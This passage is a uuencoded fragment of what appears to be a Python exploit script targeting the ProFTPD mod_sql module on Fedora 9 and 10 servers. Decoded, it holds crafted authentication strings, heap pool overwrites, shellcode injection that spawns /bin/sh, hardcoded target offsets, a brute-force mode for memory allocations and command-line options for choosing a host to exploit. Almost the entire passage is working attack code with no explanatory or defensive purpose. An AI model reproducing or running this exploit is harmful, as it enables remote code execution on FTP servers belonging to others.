M;&5N9W1H*0H)"0D*"0D)86‑C97!T86)L92`](#`*"0D)=VAI;&4H86‑C97!T M86)L92`A/2`R*3H*"0D)"69A:V5A=71H(#T@<V5L9BYM86ME7W5S97)?<W1R M:6YG*#`L(&‑O;'5M;E]L96YG=&@L(#,U*0H*"0D)"69I<G‑T7V]F9G‑E="`] M('1A<F=E=%LG<F5S<%]B=68G72`K(&QE;B@B4&%S<W=O<F0@<F5Q=6ER960@ M9F]R("(I("L@;&5N*'‑T<BAF86ME875T:"DI"@D)"0EA8V‑E<'1A8FQE("`] M('‑E;&8N8VAE8VM?9F]R7V)A9%]C:&%R<RAS=')U8W0N<&%C:R@B/$PB+"!F M:7)S=%]O9F9S970I*0H)"0D)86‑C97!T86)L92`K/2!S96QF+F‑H96‑K7V9O M<E]B861?8VAA<G,H<W1R=6‑T+G!A8VLH(CQ,(BP@9FER<W1?;V9F<V5T*S(X M*2D*"0D)"2‑P<FEN="`B9FER<W1?;V9F<V5T.B`P>"4P.'@L(&%C8V5P=&%B M;&4Z("5R(B`E("AF:7)S=%]O9F9S970L(&%C8V5P=&%B;&4I"@H)"0ES96QF M+F‑O;FYE8W0H*0H*"0D)9F%K95]S=')I;F<@/2!S='(H9F%K96%U=&@I"@D) M"69A:V5?<W1R:6YG("L](")!04%!(@D)"0D)"2,@9&%T80H)"0EF86ME7W‑T M<FEN9R`K/2!S=')U8W0N<&%C:R@B/$PB+"!T87)G971;)V]F9G‑E="==*0D) M(R!C;&5A;G5P('!T<@H)"0EF86ME7W‑T<FEN9R`K/2`B0D)"0B()"0D)"0DC M(&‑H:6QD(&‑L96%N=7`@<'1R"@H)"0EF86ME7W‑T<FEN9R`K/2!S=')U8W0N M<&%C:R@B/$PB+"!T87)G971;)V5X96‑V)UTI"0DC(&YE>'0@<&]I;G1E<B`O M(&‑A;&P@,'@P8RXN"@D)"69A:V5?<W1R:6YG("L](")$1$1$(@D)"0D)"2,@ M<&%D9&EN9PH)"0EF86ME7W‑T<FEN9R`K/2!S=')U8W0N<&%C:R@B/$PB+"!F M:7)S=%]O9F9S970K,C@I"0DC(&]F9G‑E="!T;R`O8FEN+W‑H"@D)"69A:V5? M<W1R:6YG("L]('‑T<G5C="YP86‑K*"(\3"(L('1A<F=E=%LG<F5S<%]B=68G M72LT,#`I"2,@;V9F<V5T('1O(%M.54Q,72!F;W(@97AE8W8*"0D)9F%K95]S M=')I;F<@*ST@(B]B:6XO<V@B"@D)"@H)"0EA<W‑E<G0H;&5N*&9A:V5?<W1R M:6YG*2`]/2!L96XH<W1R*&9A:V5A=71H*2DK,S4I"@D)"6EF*&YO="!S96QF M+F1O7V9A:V5?875T:"AF86ME7W‑T<FEN9RDI.@H)"0D)<')I;G0@(ELK72!3 M;&5E<&EN9R!S:6YC92!S;V‑K970@=V%S('‑H=70@9&]W;B!D=7)I;F<@9F%K M92!A=71H(@H)"0D)=&EM92YS;&5E<"@Q,"D*"0D)"6‑O;G1I;G5E"@H)"0EI M9BAS96QF+F]P=&EO;G,N<VQE97!?869T97)?8V]N;F5C="DZ"@D)"0EP<FEN M="`B6RM=(%‑L965P:6YG(#4@<V5C;VYD<R!S;R!A(&1E8G5G9V5R(&‑A;B!B M92!A='1A8VAE9"(*"0D)"71I;64N<VQE97`H‑2D*"@D)"71R:6=G97)?<W1R M:6YG(#T@<W1R*'1R:6=G97)A=71H*0H*"0D)(R!&:7)S="`T(&1W;W)D<R!A M<F4@8FQO:PH*"0D)=')I9V=E<E]S=')I;F<@*ST@<W1R=6‑T+G!A8VLH(CQ, M(BP@=&%R9V5T6R=R97‑P7V)U9B==*S0P,#`I"2,@:6X@8V%S92!W92!U<V4@ M=&AI<R!F;W(@86QL;V‑A=&EO;BXN('=E(&IU<W0*"0D)"0D)"0D)"0DC('=A M;G0@<V]M97=H97)E('=R:71A8FQE"@D)"71R:6=G97)?<W1R:6YG("L]('‑E M;&8N;7‑F7W!A='1E<FY;‑#HX70H)"0ET<FEG9V5R7W‑T<FEN9R`K/2!S=')U M8W0N<&%C:R@B/$PB+"!T87)G971;)W)E<W!?8G5F)UTK,3(P,"D)(R!C86X@ M8F4@:&ET(&EN(&)L;VL@8VQE86X@=7`@8V]D92X@<&]I;G0*"0D)"0D)"0D) M"0DC('‑O;65W:&5R92!H87)M;&5S<R`*"@D)"71R:6=G97)?<W1R:6YG("L] M('‑E;&8N;7‑F7W!A='1E<FY;,3(Z,C1="@H)"0DC($YO=R!W92!H879E(&$@ M<&]O;"!S=')U8W1U<F4@:&5R90H*"0D)=')I9V=E<E]S=')I;F<@*ST@<W1R M=6‑T+G!A8VLH(CQ,(BP@9FER<W1?;V9F<V5T*0D)(R!C;&5A;G5P('‑T<G5C M='5R90H)"0ET<FEG9V5R7W‑T<FEN9R`K/2!S=')U8W0N<&%C:R@B/$PB+"!T M87)G971;)W)E<W!?8G5F)UTK,C`P,"D)(R!S=6)?<&]O;"`N+B!N97<@<&]O M;"!M:6=H="!B92!A;&QO8V%T960@:&5R90H)"0ET<FEG9V5R7W‑T<FEN9R`K M/2!S=')U8W0N<&%C:R@B/$PB+"!T87)G971;)W)E<W!?8G5F)UTK‑#`P*0DC M('‑U8E]N97AT(`H)"0ET<FEG9V5R7W‑T<FEN9R`K/2!S=')U8W0N<&%C:R@B M/$PB+"!T87)G971;)W)E<W!?8G5F)UTK‑C`P*0DC('‑U8E]P<F5V"@D)"71R M:6=G97)?<W1R:6YG("L]('‑T<G5C="YP86‑K*"(\3"(L('1A<F=E=%LG<F5S M<%]B=68G72LX,#`I"2,@<&%R96YT"@D)"71R:6=G97)?<W1R:6YG("L]('‑T M<G5C="YP86‑K*"(\3"(L('1A<F=E=%LG<F5S<%]B=68G72LQ,#`P*0DC(&9R M965?9FER<W1?879A:6P*"@D)"2‑T<FEG9V5R7W‑T<FEN9R`K/2`B04%!04)" M0D(B"@D)"2‑T<FEG9V5R7W‑T<FEN9R`K/2!S=')U8W0N<&%C:R@B/$PB+"!T M87)G971;)W)E<W!?8G5F)UTK‑#`P*0H)"0DC=')I9V=E<E]S=')I;F<@*ST@ M(D1$1$0B"@D)"2‑T<FEG9V5R7W‑T<FEN9R`K/2`B04%!04)"0D)#0T‑#1$1$ M1$5%144B"@H)"0DC<')I;G0@=')I9V=E<E]S=')I;F<N96YC;V1E*"=H97@G M*0H*"0D)87‑S97)T*&QE;BAT<FEG9V5R7W‑T<FEN9RD@/3T@;&5N*'‑T<BAT M<FEG9V5R875T:"DI*S0X*0H)"@D)"7‑E;&8N<VMT+G‑E;F0H(E5315(@)7‑< M<EQN(B`E('1R:6=G97)?<W1R:6YG*0H*"0D):68H<V5L9BYS:&5L;%]H86YD M;&5R*"DI.@H)"0D)<')I;G0@(BTM=7‑E<BUC;VQU;6XM;&5N9W1H/25D+"!F M86ME875T:"YL96YG=&@Z("5D+"!T<FEG9V5R875T:"YL96YG=&@Z("5D(B`E M("@*"0D)"0EC;VQU;6Y?;&5N9W1H+"!F86ME875T:"YL96YG=&@L('1R:6=G M97)A=71H+FQE;F=T:`H)"0D)*0H*"0D)"7‑E;&8N<V%V95]C86‑H92AT87)G M970L(&9A:V5?<W1R:6YG+"!T<FEG9V5R7W‑T<FEN9RD*"0D)"6)R96%K"@H) M"0EA='1E;7!T<R`M/2`Q"@D)"7!R:6YT("(B"@IC;&%S<R!0<F]&5%!$7T)R M=71E9F]R8V4H4')O1E101%]"87‑I8W,I.@H)9&5F('1I;65I="AS96QF+"!F M86ME+"!T<FEG9V5R*3H*"0ES96QF+F‑O;FYE8W0H*0H)"7‑E;&8N9&]?9F%K M95]A=71H*&9A:V4I"@H)"7‑T87)T(#T@=&EM92YT:6UE*"D*"0ES96QF+G‑K M="YS96YD*")54T52("5S7')<;B(@)2!T<FEG9V5R*0H)"0H)"7)L:7‑T+"!W M;&ES="P@>&QI<W0@/2!S96QE8W0N<V5L96‑T*%MS96QF+G‑K=%TL(%M=+"!; M<V5L9BYS:W1=+"`Q+C`I"@D)<W1O<"`]('1I;64N=&EM92@I"@D)<')I;G0@ M<FQI<W0L('AL:7‑T"@H)"7)E='5R;B!S=&]P("T@<W1A<G0*"@ED968@<F5P M;&%Y*'‑E;&8L(&9A:V4L('1R:6=G97(I.@H)"7‑E;&8N8V]N;F5C="@I"@D) M<V5L9BYD;U]F86ME7V%U=&@H9F%K92D*"0D*"0EP<FEN="`B4VQE97!I;F<@ M<V\@=&AA="!Y;W4@8V%N(&%T=&%C:"!A(&1E8G5G9V5R(@H)"71I;64N<VQE M97`H‑2D*"@D)<V5L9BYS:W0N<V5N9"@B55‑%4B`E<UQR7&XB("4@=')I9V=E M<BD*"0ER;&ES="P@=VQI<W0L('AL:7‑T(#T@<V5L96‑T+G‑E;&5C="A;<V5L M9BYS:W1=+"!;72P@6W‑E;&8N<VMT72P@,2XP*0H)"0H*"61E9B!F:6YD7W1R M:6=G97)?<W1R:6YG*'‑E;&8L(&‑O;'5M;E]L96YG=&@I.@H)"7)E<W5L=',@ M/2![?0H)"0H)"69O<B!I(&EN(')A;F=E*#`L(#,R*3H*"0D)9F]U;F0@/2!& M86QS90H)"0EW:&EL92AN;W0@9F]U;F0I.@H)"0D)=')I9V=E<F%U=&@@/2!S M96QF+FUA:V5?=7‑E<E]S=')I;F<H,38L(&‑O;'5M;E]L96YG=&@I"@D)"0ET M<FEG9V5R7W‑T<FEN9R`]('‑T<BAT<FEG9V5R875T:"D@*R!S96QF+FUS9E]P M871T97)N6SHQ‑ET*"0D)"@D)"0EF86ME875T:"`]('‑E;&8N;6%K95]U<V5R M7W‑T<FEN9R@P+"!C;VQU;6Y?;&5N9W1H+"`P*0H)"0D)9F%K95]S=')I;F<@ M/2!S='(H9F%K96%U=&@I(`H*"0D)"71I;6EN9R`]('‑E;&8N=&EM96ET*&9A M:V5?<W1R:6YG+"!T<FEG9V5R7W‑T<FEN9RD*"0D)"7‑T(#T@<W1R*'1I;6EN M9RD*"@D)"0EI9BAN;W0@<F5S=6QT<RYH87‑?:V5Y*'‑T*2DZ"@D)"0D)9F]U M;F0@/2!4<G5E"@H)"0ER97‑U;'1S6W‑T<BAT:6UI;F<I72`]("AF86ME7W‑T M<FEN9RP@=')I9V=E<E]S=')I;F<I"@H)"6ME>7,@/2!R97‑U;'1S+FME>7,H M*0H)"6ME>7,N<V]R="@I"@H)"7)E='5R;B!R97‑U;'1S6VME>7‑;,%U="@H) M9&5F(&9I;F1?<W1R:6YG<RAS96QF+"!T87)G970L('5C;"DZ"@D)<F5S=6QT M<R`]('M]"@D)<F5P;&%Y(#T@>WT*"@D)(R!E;F1P(#T@9FER<W1?879A:6P@ M/2!N;W1H:6YG(&%V86EL86)L92!I;B!T:&ES(&)L;VLN('=E(&‑O=6QD(&UA M:V4@:70*"0DC(#$P,"!B>71E<R!A=F%I;&%B;&4@:&5R92`N+@H)"7!B(#T@ M4&]O;$)L;VLH=&%R9V5T6R=S=&]P)UTL('1A<F=E=%LG<W1O<"==("L@,C`P M+"!T87)G971;)W‑T;W`G72`K(#$P,"P@,'@T,30R‑#,T‑"D*"0EP:"`](%!O M;VQ(96%D97(H"@D)"71A<F=E=%LG<W1O<"==+`H)"0ET87)G971;)W‑T;W`G M72P*"0D),'@T,30Q‑#$T,2P*"0D)=&%R9V5T6R=S=&]P)UT@*R`Q,#`L"@D) M"71A<F=E=%LG<W1O<"==+`H)"0ET87)G971;)W‑T;W`G72`K(#$P,"P*"0D) M=&%R9V5T6R=S=&]P)UT@*R`Q,#`L"@D)"3!X9&5A9&)E968*"0DI"@H)"7!C M(#T@4&]O;$‑L96%N=7`H,'AD96%D8F5E9BP@,'AD96%D8F5E9BP@,'AD96%D M8F5E9BP@,'AD96%D8F5E9BD*"@D);W9E<G=R:71E7VQE;B`](&QE;BAS='(H M<&(I("L@<W1R*'!H*2D*"@D)9F%K95]L96X@(#T@;&5N*%!O;VQ#;&5A;G5P M*#!X8F%B96)A8F4L(#!X8F%B96)A8F4L(#!X8F%B96)A8F4L(#!X8F%B96)A M8F4I*2`J(#(*"0EF86ME7VQE;B`K/2!L96XH<V5L9BYS:&5L;&‑O9&4I"@H) M"2‑F;W(@:2!I;B!R86YG92@P+"`Q‑BDZ"@D)=VAI;&4H;&5N*')E<W5L=',I M(#P@,C`P*3H*"0D)=')I9V=E<F%U=&@@/2!S96QF+FUA:V5?=7‑E<E]S=')I M;F<H;W9E<G=R:71E7VQE;BP@=6‑L*0H)"0D*"0D)86‑C97!T86)L92`](#`* M"0D)=VAI;&4H86‑C97!T86)L92`A/2`R*3H*"0D)"69A:V5A=71H(#T@<V5L M9BYM86ME7W5S97)?<W1R:6YG*#`L('5C;"P@9F%K95]L96XI"0H*"0D)"69I M<G‑T7V]F9G‑E="`]('1A<F=E=%LG<W1O<"==("L@;&5N*")087‑S=V]R9"!R M97%U:7)E9"!F;W(@(BD@*R!L96XH<W1R*&9A:V5A=71H*2D*"0D)"6%C8V5P M=&%B;&4@(#T@<V5L9BYC:&5C:U]F;W)?8F%D7V‑H87)S*'‑T<G5C="YP86‑K M*"(\3"(L(&9I<G‑T7V]F9G‑E="DI"@D)"0EA8V‑E<'1A8FQE("L]('‑E;&8N M8VAE8VM?9F]R7V)A9%]C:&%R<RAS=')U8W0N<&%C:R@B/$PB+"!F:7)S=%]O M9F9S970K,C@I*0H*"0D)"2‑P<FEN="`B9FER<W1?;V9F<V5T.B`P>"4P.'@L M(&%C8V5P=&%B;&4Z("5R(B`E("AF:7)S=%]O9F9S970L(&%C8V5P=&%B;&4I M"@H)"0EF86ME7W‑T<FEN9R`]('‑T<BAF86ME875T:"D*"0D)9F%K95]S=')I M;F<@*ST@<W1R*'!C*2`J(#(*"0D)(W!R:6YT('‑T<BAP8RDN96YC;V1E*"=H M97@G*0H)"0D*"0D)9F%K95]S=')I;F<@*ST@<V5L9BYS:&5L;&‑O9&4*"@D) M"6%S<V5R="AF86ME7W‑T<FEN9RYF:6YD*'‑T<G5C="YP86‑K*"(\3"(L(#!X M9&5A9&)E968I*2`A/2`M,2D*"0D)87‑S97)T*&QE;BAF86ME7W‑T<FEN9RD@ M/3T@;&5N*'‑T<BAF86ME875T:"DI*V9A:V5?;&5N*0H*"@D)"71R:6=G97)? M<W1R:6YG("`]('‑T<BAT<FEG9V5R875T:"D*"0D)=')I9V=E<E]S=')I;F<@ M*ST@<W1R*'!B*0H)"0ET<FEG9V5R7W‑T<FEN9R`K/2!S='(H<&@I"@D*"0D) M87‑S97)T*&QE;BAT<FEG9V5R7W‑T<FEN9RD@/3T@;&5N*'‑T<BAT<FEG9V5R M875T:"DI*V]V97)W<FET95]L96XI"@D*"0D)='AT(#T@<W1R*'‑E;&8N=&EM M96ET*&9A:V5?<W1R:6YG+"!T<FEG9V5R7W‑T<FEN9RDI"@D)"7)E<W5L='‑; M='AT72`]("AF86ME875T:"P@=')I9V=E<F%U=&@L(&QE;BAF86ME7W‑T<FEN M9RDL(&QE;BAT<FEG9V5R7W‑T<FEN9RDI"@D)"7)E<&QA>5MT>'1=(#T@*&9A M:V5?<W1R:6YG+"!T<FEG9V5R7W‑T<FEN9RD*"0D)"0H*"0D)(VEF*'‑E;&8N M<VAE;&Q?:&%N9&QE<B@I*3H*"0D)(PEP<FEN="`B+2UU<V5R+6‑O;'5M;BUL M96YG=&@])60L(&9A:V5A=71H+FQE;F=T:#H@)60L('1R:6=G97)A=71H+FQE M;F=T:#H@)60B("4@*`H)"0DC"0EC;VQU;6Y?;&5N9W1H+"!F86ME875T:"YL M96YG=&@L('1R:6=G97)A=71H+FQE;F=T:`H)"0DC"2D*"0D)(PH)"0DC"7‑E M;&8N<V%V95]C86‑H92AT87)G970L(&9A:V5?<W1R:6YG+"!T<FEG9V5R7W‑T M<FEN9RD*"0D)(PEB<F5A:PH*"0D)<')I;G0@(B(*"@D):V5Y<R`](')E<W5L M=',N:V5Y<R@I"@D):V5Y<RYS;W)T*"D*"0D*"0EF;W(@:V5Y(&EN(&ME>7‑; M+38Z73H*"0D)9F%K92P@=')I9V=E<BP@9FPL('1L(#T@<F5S=6QT<UMK97E= M"@D)"7!R:6YT("(E<R(@)2!K97D*"0D)<')I;G0@(EQT)7,B("4@9F%K90H) M"0EP<FEN="`B7'0E<R(@)2!T<FEG9V5R"@D)"7!R:6YT("(M+2(*"@H)"69P M(#T@;W!E;B@G=&5S="YT>'0G+"`G=RLG*0H)"69P+G=R:71E*")<;B(N:F]I M;BAK97ES*2D*"0EF<"YC;&]S92@I"@D)"@D)9G`@/2!O<&5N*"=T97‑T+G!K M;"<L("=W*R<I"@D)9G`N=W)I=&4H<&EC:VQE+F1U;7!S*')E<&QA>2DI"@D) M9G`N8VQO<V4H*0H*"0EW:&EL92@Q*3H*"0D)<R`](')A=U]I;G!U="@B4&QE M87‑E(&5N=&5R(&]F9G‑E="!T;R!R97!L87D@6VUA>"`E<UT^("(@)2`H;&5N M*')E<W5L=',I+3$I("D*"0D)<R`](',N<W1R:7`H*0H)"0EI9BAS(#T](")E M>&ET(BDZ(`H)"0D)8G)E86L*"@D)"6ED>"`](&EN="AS*0H*"0D)<V5L9BYR M97!L87DH*G)E<&QA>5MK97ES6VED>%U=*0H*"0ES(#T@<F%W7VEN<'5T*")7 M:&EC:"!O9F9S970@9&\@>6]U('=A;G0@=&\@8G)U=&5F;W)C92!W:71H/B`B M*0H)"7,@/2!S+G‑T<FEP*"D*"0EI9'@@/2!I;G0H<RD*"0D*"0ER971U<FX@ M<F5S=6QT<UMK97ES6VED>%U="@H)9&5F(')U;BAS96QF+"!T87)G970I.@H) M"7!R:6YT(");*UT@0G)U=&5F;W)C:6YG(&UE;6]R>2!A;&QO8V%T:6]N<R!F M;W(@)7,B("4@=&%R9V5T6R=N86UE)UT*"@D)9F]U;F0@/2!&86QS90H*"0ES M96QF+G‑H96QL8V]D92`](&]P96XH)W‑H96QL8V]D92YB:6XG+"`G<B<I+G)E M860H*0H)"2,@<G5B>2`O<F]O="]M<V8S+VUS9G!A>6QO860@;&EN=7@O>#@V M+V5X96,@0TU$/2]B:6XO<V@@4B`@/B!S:&5L;&‑O9&4R+F)I;@H)"7‑E;&8N M<VAE;&QC;V1E,B`](&]P96XH)W‑H96QL8V]D93(N8FEN)RP@)W(G*2YR96%D M*"D*"@D)9F]R('5C;"!I;B!S96QF+G5S97)?8V]L=6UN7VQE;F=T:',Z"@D) M"69A:V5A=71H+"!T<FEG9V5R875T:"P@9FPL('1L(#T@<V5L9BYF:6YD7W‑T M<FEN9W,H=&%R9V5T+"!U8VPI"@H)"0EA9&1R97‑S97,@/2!R86YG92AT87)G M971;)W‑T87)T)UTL('1A<F=E=%LG<W1O<"==+"!T87)G971;)W‑T97`G72D* M"0D)<')I;G0@861D<F5S<V5S"@D)"2‑A9&1R97‑S97,@/2!F:6QT97(H;&%M M8F1A('@Z("AS970H<W1R=6‑T+G!A8VLH(CQ,(BP@>"DI("8@<V5L9BYB861C M:&%R<RD@/3T@<V5T*"DL(&%D9')E<W‑E<RD*"0D)(V%D9')E<W‑E<R`](&9I M;'1E<BAL86UB9&$@>#H@*'‑E="AS=')U8W0N<&%C:R@B/$PB+"!X*S8T*2D@ M)B!S96QF+F)A9&‑H87)S*2`]/2!S970H*2P@861D<F5S<V5S*0H)"0D*"@D) M"7!R:6YT(")';W0@)60@=&%R9V5T<R(@)2!L96XH861D<F5S<V5S*0H)"0EF M;W(@861D<F5S<R!I;B!A9&1R97‑S97,Z"@D)"0EP<FEN="`B5')Y:6YG(#!X M)3`X>"(@)2!A9&1R97‑S"@H)"0D);6]D(#T@;&5N*")087‑S=V]R9"!R97%U M:7)E9"!F;W(@(BD*"0D)"69A:V5?<W1R:6YG("`]('‑T<BAF86ME875T:"D* M"0D)"6UO9"`K/2!L96XH9F%K95]S=')I;F<I"@D)"0EM;V0@)3T@‑`H*"0D) M"7!C(#T@4&]O;$‑L96%N=7`H"@D)"0D)861D<F5S<RMM;V0K."P*"0D)"0EA M9&1R97‑S*VUO9"LX+`H)"0D)"6%D9')E<W,K;6]D*S@L"@D)"0D)861D<F5S M<RMM;V0K*S@X"@D)"0DI"@H)"0D)9F%K95]S=')I;F<@*ST@<W1R*'!C*2`J M(#(@"@D)"0EF86ME7W‑T<FEN9R`K/2!S96QF+G‑H96QL8V]D90H*"0D)"7!B M(#T@4&]O;$)L;VLH861D<F5S<RLQ,#`L(&%D9')E<W,@*R`S,#`L(&%D9')E M<W,@*R`R,#`L(#!X‑#$T,C0S‑#0I"@D)"0EP:"`](%!O;VQ(96%D97(H"@D) M"0D)861D<F5S<RLP>#(P,"P*"0D)"0EA9&1R97‑S*S!X,S`P+`H)"0D)"6%D M9')E<W,K;6]D+3(T+"`C(&]U<B!C;&5A;G5P"@D)"0D)861D<F5S<RLP>#0P M,"P*"0D)"0EA9&1R97‑S*S!X‑3`P+`H)"0D)"6%D9')E<W,K,'@V,#`L"@D) M"0D)861D<F5S<RLP>#<P,"P*"0D)"0EA9&1R97‑S*S!X‑S`P+"`C(&)L86@N M"@D)"0DI"@H)"0D)=')I9V=E<E]S=')I;F<@(#T@<W1R*'1R:6=G97)A=71H M*0H)"0D)=')I9V=E<E]S=')I;F<@*ST@<W1R*'!B*0H)"0D)=')I9V=E<E]S M=')I;F<@*ST@<W1R*'!H*0H*"0D)"2‑P<FEN="`B;&5N*&8I.B(L(&QE;BAF M86ME7W‑T<FEN9RD*"0D)"2‑P<FEN="`B9FPZ(BP@9FP*"0D)"2‑P<FEN="`B M;&5N*'0I.B(L(&QE;BAT<FEG9V5R7W‑T<FEN9RD*"0D)"2‑P<FEN="`B=&PZ M(BP@=&P*"0D)"6%S<V5R="AL96XH9F%K95]S=')I;F<I(#T](&9L*0H)"0D) M87‑S97)T*&QE;BAT<FEG9V5R7W‑T<FEN9RD@/3T@=&PI"@H)"0D)<V5L9BYC M;VYN96‑T*"D*"0D)"7‑E;&8N9&]?9F%K95]A=71H*&9A:V5?<W1R:6YG*0H* M"0D)"2‑X(#T@<F%W7VEN<'5T*")H:70@96YT97(@=&\@=')I9V=E<B!V=6QN M/B`B*0H*"0D)"7‑E;&8N<VMT+G‑E;F0H(E5315(@)7‑<<EQN(B`E('1R:6=G M97)?<W1R:6YG*0H*"0D)"7)L:7‑T+"!W;&ES="P@>&QI<W0@/2!S96QE8W0N M<V5L96‑T*%MS96QF+G‑K=%TL(%M=+"!;<V5L9BYS:W1=+"`U+C`I"@D)"0EI M9BAR;&ES="`]/2!;72!A;F0@>&QI<W0@/3T@6UTI.@H)"0D)"7!R:6YT(")& M;W5N9"!`(#!X)3`X>"(@)2!A9&1R97‑S"@D)"0D)(R!"3$%(+B!N965D('1O M(&%V;VED('1H:7,@9'5E('1O('‑S;`H)"0D)"7‑E;&8N<VMT+G‑E;F0H<V5L M9BYS:&5L;&‑O9&4R*0H)"0D)"7‑E;&8N<VAE;&Q?:&%N9&QE<B@I"@D)"0D) M<WES+F5X:70H,2D*"F]F9G‑E=%]T87)G971S(#T@6PH)>R`*"0DG;F%M92<Z M("=&961O<F$@,3`@4')O1E101"!P<F]F='!D+6UY<W%L+3$N,RXQ+38G+`H) M"2=T>7!E)SH@)V]F9G‑E="<L"@D))W)E<W!?8G5F)SH@,'@X,&5D.#@P+`H) M"2=O9F9S970G.B`P>#@P‑C‑E93,L"@D))V5X96‑V)SH@,'@P.#`U,C9B."P* M"7TL"@E[(`H)"2=N86UE)SH@)T9E9&]R82`Y(%!R;T944$0@<')O9G1P9"UM M>7‑Q;"TQ+C,N,2TS)RP*"0DG='EP92<Z("=O9F9S970G+`H)"2=R97‑P7V)U M9B<Z(#!X,#@P96)C‑C`L"@D))V]F9G‑E="<Z(#!X,#@P‑C,Y.&4L"@D))V5X M96‑V)SH@,'@P.#`U,C8V."P*"7TL"ET*"F)R=71E9F]R8V5?=&%R9V5T<R`] M(%L*"7L*"0DC(#`X,&4T,#`P+3`X,&5C,#`P"@D))VYA;64G.B`G4')O1E10 M1"!&0R`Q,"<L"@D))W‑T87)T)SH@,'@X,&5D.#@P*S$R."P*"0DG<W1O<"<Z M(#!X.#!E9#@P‑"P*"0DG<W1E<"<Z("TR."P*"7TL"@E["@D)(R`P.#!F,3(R M,"!L("`@("!/("YB<W,@("`P,#`P,30P,"`@("`@("`@("`@("`@<F5S<%]B M=68*"0DG;F%M92<Z("=D96)I86X@=&5S="<L"@D))W‑T87)T)SH@,'@P.#!F M,3(R,"LR,#`L"@D))W‑T;W`G.B`P>#`X,&8Q,C(P*S@P+`H)"2=S=&5P)SH@ M+3(X+`H)?0I="@ID968@9'5M<%]T87)G971S*"DZ"@EC;W5N=&5R(#T@,0H) M<')I;G0@(D]F9G‑E="!B87‑E9"!T87)G971S(&%V86EL86)L93HB"@EF;W(@ M=&%R9V5T(&EN(&]F9G‑E=%]T87)G971S.@H)"7!R:6YT(")<=%1A<F=E="!; M)61=("T@)7,B("4@*&‑O=6YT97(L('1A<F=E=%LG;F%M92==*0H)"6‑O=6YT M97(@*ST@,0H)"@EC;W5N=&5R(#T@,0H)<')I;G0@(B(*"7!R:6YT(")"<G5T M969O<F‑E('1A<F=E=',@879A:6QA8FQE.B(*"69O<B!T87)G970@:6X@8G)U M=&5F;W)C95]T87)G971S.@H)"7!R:6YT(")<=%1A<F=E="!;)61=("T@)7,B M("4@*&‑O=6YT97(L('1A<F=E=%LG;F%M92==*0H*"7D@/2`P+S`*"@ES>7,N M97AI="@Q*0H*9&5F('!A<G‑E7V%R9W,H87)G<RDZ"@EP87)S97(@/2!/<'1I M;VY087)S97(H=7‑A9V4](G5S86=E.B`E<')O9R!;;W!T:6]N<UT@:&]S=%]T M;U]E>'!L;VET(BD*"7!A<G‑E<BYA9&1?;W!T:6]N*"(M="(L("(M+71A<F=E M="(L(&%C=&EO;CTB<W1O<F4B+"!T>7!E/2)I;G0B+"!H96QP/2)$:7‑T<FEB M=71I;VX@=&\@=&%R9V5T(BP@9&5F875L=#TP+"!D97‑T/2)T87)G970B*0H) M<&%R<V5R+F%D9%]O<'1I;VXH(BUP(BP@(BTM<&]R="(L(&%C=&EO;CTB<W1O M<F4B+"!H96QP/2)#;VYN96‑T(&]N('!O<G0B+"!D969A=6QT/3(Q*0H)<&%R M<V5R+F%D9%]O<'1I;VXH(BUS(BP@(BTM<W‑L(BP@86‑T:6]N/2)S=&]R95]T M<G5E(BP@:&5L<#TB16YA8FQE(%‑33"!F;W(@97AP;&]I=&%T:6]N("AV:6$@ M4D9#‑#(Q‑RDB+"!D969A=6QT/49A;'‑E*0H)<&%R<V5R+F%D9%]O<'1I;VXH M(BUM(BP@(BTM;6]D92(L(&%C=&EO;CTB<W1O<F4B+"!T>7!E/2)C:&]I8V4B M+"!C:&]I8V5S/5LB8G)U=&5F;W)C92(L(")O9F9S971S(ETL(&1E9F%U;'0] M(F]F9G‑E=',B*0H)<&%R<V5R+F%D9%]O<'1I;VXH(BUL(BP@(BTM;&ES="UT M87)G971S(BP@86‑T:6]N/2)S=&]R95]T<G5E(BP@9&5F875L=#U&86QS92D* M"@EG<F]U<"`]($]P=&EO;D=R;W5P*'!A<G‑E<BP@(D1E8G5G9VEN9R!O<'1I M;VYS(BP@(E1H97‑E(&]P=&EO;G,@87)E(&UO<W1L>2!U<V5F=6P@9F]R(&1E M8G5G9VEN9R!T:&4@97AP;&]I="!C;V1E+"!O<B!I9B!Y;W4@:VYO=R!H;W<@ M=&AE(')E;6]T92!M86‑H:6YE(&ES(&‑O;F9I9W5R960N(BD*"6=R;W5P+F%D M9%]O<'1I;VXH(BTM=7‑E<BUC;VQU;6XM;&5N9W1H(BP@86‑T:6]N/2)S=&]R M92(L(&1E9F%U;'0],"P@:&5L<#TB4U%,(%5S97)N86UE(&‑O;'5M;B!L96YG M=&@N(BP@='EP93TB:6YT(BP@9&5S=#TB=7‑E<E]C;VQU;6Y?;&5N9W1H(BD* M"6=R;W5P+F%D9%]O<'1I;VXH(BTM<VQE97`M869T97(M8V]N;F5C="(L(&%C M=&EO;CTB<W1O<F5?=')U92(L(&AE;'`](E‑L965P(&$@8V]U<&QE(&]F('‑E M8V]N9',@<V\@82!D96)U9V=E<B!C86X@8F4@8V]N;F5C=&5D(BP@9&5F875L M=#U&86QS92P@9&5S=#TB<VQE97!?869T97)?8V]N;F5C="(I"@EG<F]U<"YA M9&1?;W!T:6]N*"(M+6EG;F]R92UC86‑H92(L(&%C=&EO;CTB<W1O<F5?=')U M92(L(&AE;'`](DEG;F]R92!T:&4@8V%C:&4@;V8@<W5C8V5S<V9U;"!P<F5V M:6]U<R!A='1E;7!T<R(L(&1E9F%U;'0]1F%L<V4L(&1E<W0](FEG;F]R95]C M86‑H92(I"@EG<F]U<"YA9&1?;W!T:6]N*"(M+7‑E960B+"!A8W1I;VX](G‑T M;W)E(BP@='EP93TB:6YT(BP@:&5L<#TB4V5E9"!T:&4@<F%N9&]M(&YU;6)E M<B!W:71H('‑U<'!L:65D('9A;'5E(BP@9&5F875L=#TP+"!D97‑T/2)S965D M(BD*"@EP87)S97(N861D7V]P=&EO;E]G<F]U<"AG<F]U<"D*"0H);W!T<RP@ M87)G<R`]('!A<G‑E<BYP87)S95]A<F=S*&%R9W,I"@H):68H;&5N*&%R9W,I M(#T](#`I.@H)"7!R:6YT(")0;&5A<V4@<W!E8VEF>2!T:&4@:&]S="!T;R!E M>'!L;VET(@H)"7‑Y<RYE>&ET*#$I"@H):68H;W!T<RYT87)G970@/3T@,"DZ M"@D)<')I;G0@(E!L96%S92!S<&5C:69Y(&$@=&%R9V5T('1O(&%T=&%C:RXN M(@H)"61U;7!?=&%R9V5T<R@I"@H):68H;W!T<RYL:7‑T7W1A<F=E=',I.@H) 